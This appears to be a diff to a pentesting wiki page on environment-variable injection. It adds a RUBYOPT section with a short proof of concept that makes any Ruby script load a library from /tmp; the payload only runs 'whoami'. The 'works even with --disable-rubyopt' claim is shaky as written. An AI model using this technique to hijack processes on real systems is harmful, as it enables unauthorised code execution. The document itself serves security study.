 ### Python Injection
 
 If the environment variable **`PYTHONINSPECT`** is set, the python process will drop into a python cli once it's finished. It's also possible to use **`PYTHONSTARTUP`** to indicate a python script to execute at the beginning of an interactive session.\

+## RUBYOPT
+
+Using this env variable it's possible to **add new params** to **ruby** whenever it gets executed. Although the param **`-e`** cannot be used to specify ruby code to execute, it's possible to use the params **`-I`** and **`-r`** to add a new folder to the libraries to load path and then **specify a library to load**.
+
+Create the library **`inject.rb`** in **`/tmp`**:
+
+{% code title="inject.rb" %}
+```ruby
+puts `whoami`
+```
+{% endcode %}
+
+Create anywahere a ruby script like:
+
+{% code title="hello.rb" %}
+```ruby
+puts 'Hello, World!'
+```
+{% endcode %}
+
+Then make an arbitrary ruby script load it with:
+
+```bash
+RUBYOPT="-I/tmp -rinject" ruby hello.rb
+```
+
+Fun fact, it works even with param **`--disable-rubyopt`**:
+
+```bash
+RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
+```
